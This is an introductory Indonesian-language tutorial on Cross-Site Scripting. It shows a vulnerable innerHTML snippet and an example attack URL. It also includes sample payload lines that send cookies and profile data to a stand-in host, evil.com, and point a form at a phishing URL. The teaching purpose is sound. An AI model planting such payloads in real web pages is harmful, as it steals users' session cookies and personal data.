XSS (Cross-Site Scripting) Dasar — Security

Apa itu Cross-Site Scripting (XSS)? XSS adalah serangan di mana penyerang menyisipkan JavaScript berbahaya ke halaman web yang dilihat oleh pengguna lain. Kode

Apa itu Cross-Site Scripting (XSS)?

XSS adalah serangan di mana penyerang menyisipkan JavaScript berbahaya ke halaman web yang dilihat oleh pengguna lain. Kode JavaScript tersebut dijalankan di browser korban dengan hak akses yang sama seperti website asli.

Contoh Sederhana XSS

// Halaman menampilkan nama dari URL parameter
// URL: https://example.com/greet?name=Budi
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Halo, " + name;

// Serangan:
// URL: https://example.com/greet?name=<script>alert(document.cookie)</script>
// Browser menjalankan script dan menampilkan cookie!

Apa yang Bisa Dilakukan Penyerang dengan XSS?

Kenapa XSS Berbahaya?

Script yang diinjeksi berjalan di same origin dengan website target. Ini berarti script tersebut bisa:

// Mencuri cookie
new Image().src = "https://evil.com/steal?cookie=" + document.cookie;

// Membaca halaman sensitif
fetch("/api/profile").then(r => r.json()).then(data => {
    fetch("https://evil.com/steal", { method: "POST", body: JSON.stringify(data) });
});

// Mengubah isi halaman
document.querySelector("form").action = "https://evil.com/phishing";

Input yang Rentan XSS

Semua tempat di mana input pengguna ditampilkan kembali tanpa sanitasi:

XSS Masih Relevan

Meskipun browser modern sudah punya beberapa perlindungan, XSS tetap menjadi salah satu vulnerability paling umum. OWASP menempatkannya sebagai salah satu risiko tertinggi dalam keamanan web.

Yang akan kamu pelajari